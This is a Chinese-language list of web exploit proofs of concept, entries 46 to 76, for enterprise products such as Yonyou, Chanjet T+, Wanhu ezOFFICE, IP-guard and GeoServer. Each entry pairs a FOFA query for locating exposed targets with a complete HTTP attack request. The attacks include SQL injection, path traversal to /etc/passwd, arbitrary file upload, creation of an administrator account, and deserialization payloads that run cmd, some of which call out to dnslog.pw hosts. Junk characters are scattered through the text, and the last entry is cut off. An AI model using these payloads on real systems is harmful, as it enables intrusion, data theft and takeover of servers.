) i9 w$ k/ B: a/ X) H3 b: J5 Z, r
' F1 B+ y% T9 w/ Z6 RreqData=<?xml version="1.0"?>
$ h7 N6 k) e# e<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
# E# g' N) q" q# K, U

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
" a0 s( d# J2 P2 g8 `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
. ^4 S7 B' m8 M: JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: w, }5 W8 T+ s7 t; B% IAccept-Encoding: gzip, deflate
( Q9 Q& ~: ^5 ~# n- y7 f; X3 wAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 b& [( f5 [. V% n% C. h
3 c+ S" C% l7 s7 e* Q: U
9 }. Z8 y! R, \! ^  i47. 用友GRP A++Cloud 政府财务云 任意文件读取
! }; p+ S  c, f. JFOFA：body="/pf/portal/login/css/fonts/style.css"
1 `' s" _6 e/ f# Y. _- {+ h- `1 ?8 QGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
7 R7 X. _& }/ z/ ^$ ?If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
- I, Y# {4 `0 T( `# ~
* L- [7 ~8 O) X4 O# t3 \% p
( \6 ?: V' q& p, t) P
7 c1 a* [6 M+ E3 Q; |: n48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; I9 z/ m& k7 x' W; H2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; f$ W4 }: y* {7 L5 N- g5 d1 l! _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 T; p* y4 W" h/ q" e, @Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
. S- B2 t6 l7 {1 a: @3 O) C------269520967239406871642430066855
3 e+ j4 ~' }  u5 Q% v  \Content-Disposition: form-data; name="upload"
; y! K- j& B; L6 R2 [+ r; I3 Nupload
" j4 S0 G- `1 F* Y# e------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
1 m! r) t1 E/ m' iFOFA：body="用友U8CRM"
2 j8 B5 M& r+ W1 i
' B& b9 Y3 x6 DPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
. @: f- Y/ o5 p) s1 o5 sHost: x.x.x.x
" ~7 \0 c& g# W  xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ {8 z6 G# d- k; s( j- zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ^& Y$ X4 i7 K( K, }) }9 NConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
% u* T# n7 L; E* G3 b: s
2 U: |5 C  e/ M6 c-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
& Q9 m4 @9 o, H1 tContent-Type: application/octet-stream
, V5 j. U" R; }8 {
wersqqmlumloqa
+ l. s; O& T) k6 \-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
  q* K4 R$ p- _3 H7 r/ v" ~* m
upload
# b# L7 }# R4 ]2 Q-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

0 ~8 U! r5 O" R- C50. QDocs Smart School 6.4.1 filterRecords SQL注入
  N9 T9 H, T9 |$ u" eFOFA：body="close closebtnmodal"
1 i4 {+ ?! L" @1 K# sPOST /course/filterRecords/ HTTP/1.1
0 v1 \) L; z. E  c% y) ^: d$ z9 K  \Host: x.x.x.x
# G' j( `' T' [/ U: _- EUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ Q! d; I" [3 g/ F# M8 H, T/ YConnection: close
$ x8 n. t, P+ K/ _Content-Length: 224
Accept: */*
Accept-Language: en
; X# j: M' D5 S! ?" q# T" u2 LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 l% Y1 S2 U, v% D. H+ S3 Z5 P6 `" }: u6 |
7 G* z$ Z' y$ b5 J7 n; B2 nsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
( U! `; |% G6 X: o, R' z  r- \3 o
" p' Y3 Q2 G, F; I6 O" |
$ f( C- F) b5 e9 l% R51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
# U9 c4 d2 P! Y' }9 dFOFA：app="云时空社会化商业ERP系统"
4 s: x6 _6 |3 K* B# UGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: H3 D, U9 X- QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
4 q) j' B7 x8 G' n* P0 u( r: JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
+ N" N! x) [& M) Y7 |# P6 t" hAccept-Language: zh-CN,zh;q=0.9
" p1 H3 q6 ], MConnection: close

2 t" n0 T( y/ @# Y- Z
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
1 T. t. u( U* [3 c' W7 z0 Q0 qPOST /building/json_common.php HTTP/1.1
4 O/ l8 h5 Z5 ]2 S0 j9 eHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
0 E; e  H* Y8 S* S7 {7 U' ~Accept-Encoding: gzip
' q9 I/ M! `! y2 o
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
, q" `% C, H+ c% m  ?% T
" ]) c- M, Q1 `- j, ?
53. 迪普 DPTech VPN Service 任意文件上传
' X5 R; g9 S) c* |3 r& iFOFA：app="DPtech-SSLVPN"
' _0 B' s5 `) n) O  K/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
7 D2 ?$ G3 N, e& C- L7 W

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

5 g9 n5 Y* y+ c; d$ G# Z
. m0 Y) C: W( m0 b# ]) }9 ^完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
4 e+ c) N" u+ lUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

& E( }+ V) H; _$ U/ M. S" w! K{
$ V( [  |' s- }4 o"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
' P) b5 \! k% d3 w8 N: B   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
+ Z' w5 s, }. n   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' U+ v$ @! Z9 I. A+ u/ j+ o    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
0 w0 K3 t, g1 C$ O  s" Q. Q  }
}
! e  E; n. x, C1 c; v/ D! \
0 b6 g* o" b: s3 p" h, `
% k5 v1 W1 g9 M. u4 r  p* {3 k第二步，访问如下url
; n! @- x$ |4 \! w4 u/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
2 U( W/ B" }2 v3 J! g4 X7 m第一步，通过
! j! o3 d, l0 H/ k- p. D/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
" X2 m  M! g- x! ^- x第二步，利用获取到的Cookie请求
" j1 F* t' o& Y' P/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
" U# K, W7 _& a6 Y9 z) |
3 G% d1 a4 Z+ V6 \$ F+ _. ?( r6 K56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
6 P$ Y! M3 e+ U% E, S4 @* hFOFA: app="畅捷通-TPlus"
, l# T0 W7 m; ?9 @POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
2 @$ q' c$ V9 T5 a% }+ g. ?, yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
; i0 {* }- t4 M! N7 o: RContent-Type: application/json
0 e- P" o: G' w0 }0 l
& I3 p  x( k* J6 @{
! z( m( r: _" h* T2 |) z7 a4 B  "storeID":{
& [% t+ z& H* K; \4 [/ J1 @    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
' E9 \9 p, d+ D* v/ G. W5 z; ?. I   "MethodName":"Start",
    "ObjectInstance":{
: z, H2 q& U  B, Z       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
5 ~2 w  C; g6 _0 D7 y& S' c% G- s           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
* u# h' T; h7 `  }
( l  g+ i5 J' O. x8 C& g}
/ W9 Q$ i  {- f( W1 K# U
6 H3 Z" r0 m! `6 [( a% C5 I
" D' v/ g5 s3 f  t+ Z" |1 L57. 畅捷通T+ keyEdit.aspx SQL注入
0 t4 E- k1 f5 r% v  k6 J' XFOFA：app="畅捷通-TPlus"
+ g- t3 c" @& n7 p2 P7 T0 f( b: qGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
- a4 v+ ~0 L- z6 wHost: host
1 G+ {/ c' ?6 s$ [6 `User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

* [  |1 H( _- w% s; S' V
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
  A. n8 a" e3 [! Y- \$ cGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
& A. q5 |/ Z4 d/ T- LUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
" o/ u6 b7 L8 P( C) z7 U( vConnection: close

# G% R/ w4 H6 _9 J1 p7 a+ ?0 o6 u
. j# N# O3 h' S, u  h2 V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 m* L6 g) p- r& T/ a0 `FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
: k, H" R: m* a: `6 XPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
( K! T9 X2 B+ zConnection: close
Content-Length: 1669
! S3 T9 D2 C$ OAccept: */*
4 m$ c( V1 b" b8 H  YAccept-Language: en
! j/ X5 v" p2 R. T0 ]/ mContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 X5 R7 Y/ g# k6 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 ~  ]: I# {1 Q' r

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
. a* @  s: N4 V7 l! z# NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ l/ _* K) `; r4 V; P8 [5 r7 TContent-Length: 27
; l( Q8 i/ d/ ~* T2 CAccept: */*
8 m+ a" V! V& P3 pAccept-Encoding: gzip, deflate
$ [( Z7 C9 ?1 l! B, W! tAccept-Language: en
Content-Type: application/x-www-form-urlencoded
, G; m9 v! C5 V. J" Z# D
! e3 Z4 |# `, {+ H# S; s8uxssX66eqrqtKObcVa0kid98xa
! g0 p) A3 x/ I2 @* Y$ W# I

5 J: `9 O# H$ M% J8 _6 Z62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
% s& e% g$ y& W( _# N3 Y; |Host: x.x.x.x
7 G7 d: P+ |' a, R" V. d  jUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
6 z4 o4 a. J( j6 y; E0 `Connection: close
Accept: */*
& w' q' o  A' G+ H7 m) xAccept-Language: en
Accept-Encoding: gzip


/ |/ |$ v. J5 C访问
9 M1 I5 K; K( Q2 ?2 {
5 S9 ?+ _; d) {0 k, ]# c2 YGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
! L* e. W+ Z+ E4 m

, g* s- \% h9 j( v$ z. \$ p63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
8 s3 x- {3 @+ o8 C# ePOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
9 O. F$ p# T9 W' p) c% h/ R. y7 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; s7 b# W/ K( f& }7 g( pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: l$ r4 w6 Y, m; p  |- x3 o& }Connection: close
: W; S. O6 S2 bContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

, e5 d/ o# b0 e: ^3 \64. 捷诚管理信息系统CWSFinanceCommon SQL注入
0 p! Z& f3 K0 D' M) IFOFA：body="/Scripts/EnjoyMsg.js"
& Y5 K9 v! L, d1 zPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
8 D& a# t/ D1 D2 }Host: 192.168.86.128:9001
# n. K" I! F0 u7 [User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
. S* U+ ^1 n  b( {<soap:Body>
9 W& s1 u% K/ B" l' G    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
0 S& T% Y1 C) [    </GetOSpById>
! H1 e$ ~! @6 ]6 |- R/ K  </soap:Body>
</soap:Envelope>
2 `, F9 r: l) c4 e2 l" |1 A

' Q5 D) l- x, r/ M1 q/ R9 z9 {65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
% a; V: w9 @" \响应200即成功创建账号test123456/123456
6 {# T+ [/ P7 gPOST /SystemMng.ashx HTTP/1.1
0 ?! D2 l/ z8 }; WHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Length: 174
. {- |& {8 Y2 |+ Z- t- J, b
5 S$ r% r  U* A+ D4 |' toperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

& U+ T8 G4 v& B4 `0 r- {- G
6 }" ~' L" \, n  D* \( ^66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
- B' n, |5 Z! t  K# V
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
( Z8 F! \. _0 [- k) h% mAccept: */*
Accept-Language: en
Accept-Encoding: gzip
5 k- Z6 A5 C/ i
- b) ~- B+ ]9 ]' P$ p5 `" s
1 c5 I, Z3 ^# A) c; d6 Z9 p第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
: E% t$ X6 `& y! v' `& SFOFA：app="万户网络-ezOFFICE"
& U; V9 |: v$ \/ N7 ?' J1 ]newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
2 X' v7 y: L9 u: oPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
1 x1 J  ^6 i2 L# X1 _2 JContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
% v/ d. {5 v( {$ f6 [1 gAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
, }7 A  J2 P: k: Y- cUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
3 O4 k! U. j* K- a/ U; E0 f

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
! o# p  V1 i, X$ l  \
7 A/ g( M7 v  {2 L# [8 r4 p% o5 B68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/ z6 G8 K- q) z$ g- ]3 {

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
0 O' T: v% t, x/ U; V* P2 UHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) m+ s: T$ ~8 Y1 J0 V5 k$ gAccept-Encoding: gzip, deflate
/ D% ]. D' \% o$ fAccept: */*
Connection: keep-alive

3 E+ J( i" @% ?8 p+ I6 h7 M
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
5 T, ^' i" S; Q, }# e; t$ nHost: {{Hostname}}
1 v6 s8 t7 I( e* ]) z# BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% E6 R; u. o8 ZSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
$ n) d/ N( l0 F; Y
! C5 e/ v9 Z3 [2 ]1 c9 h__VIEWSTATE=PAYLOAD
1 R0 p) w3 y% y
5 Y* X) H0 [& u. M6 \: d
4 l: }4 l. l7 w6 t& z* t) h2 X71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
5 o) E+ W+ o# v6 g" X; A! `/ \. l- w5 @FOFA：body="PM2项目管理系统BS版增强工具.zip"
2 w7 X& M% c& L; EGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
7 m  _1 ^+ I) e" Q, `2 G# m& V2 ~Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
/ W1 m0 T7 L7 D. H" Q2 DConnection: close
, B% _0 j" e- V! D+ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 w2 G3 ~: L- D+ b7 ~Accept-Encoding: gzip, deflate
% a2 u% m6 ~+ o* X5 u7 z  [5 H% gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: j/ e' J% s! g. J/ I% }Upgrade-Insecure-Requests: 1


) D7 [9 o3 z' U# N% d72. 致远OA getAjaxDataServlet XXE
$ ?  p( P. O' Q& [" v( D, T0 O: ~FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
" U, @( N( M0 K0 S3 hContent-Type: application/x-www-form-urlencoded
: u+ I5 s! f6 y' _( f: qAccept-Encoding: gzip
- b9 z2 m* S4 d& L2 [* v
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
3 u+ a4 b9 U4 g
6 ?  [5 q, X1 w* B7 n0 q
" _) y, |' G  l& ^73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
3 ?$ m- k7 i/ uPOST /geoserver/wms HTTP/1.1
Host:
6 v; `; Q0 J& T, R5 h" pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) h9 D) p) K9 Y. B. _Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
5 D) B# Q5 M! F  j$ hContent-Type: application/xml
SL-CE-SUID: 3

6 v/ {) J" o: z( B7 J1 ePAYLOAD
+ ^( E9 z; v% b4 W) k4 A* Q
; F) e+ S) q7 t
. u& @$ r  _5 [( v. _3 X74. 致远M3-server 6_1sp1 反序列化RCE
  F5 _; d+ `# I( R+ XFOFA：title="M3-Server"
/ s. A6 P: x6 W0 y4 F+ qPAYLOAD
* m# @* L" N6 K; q0 O" n8 m* J2 ]6 d9 y
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
: C8 S% q# w6 ^7 H- {- FHost: x.x.x.x
- l, N" `9 ^# U7 S+ [5 [3 s- NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; V5 O. I- o  GConnection: close
) K, j+ i9 @0 i: T) i' c4 t: `/ fAccept: */*
; m$ y" O& u& W( b! f0 V1 ZAccept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

1 D2 ?  Q+ ^! k, S
76. 新开普掌上校园服务管理平台service.action远程命令执行
" F2 B1 T- r2 [* j: W! vFOFA：title="掌上校园服务管理平台"
, o+ w7 f% ^2 u( OPOST /service_transport/service.action HTTP/1.1
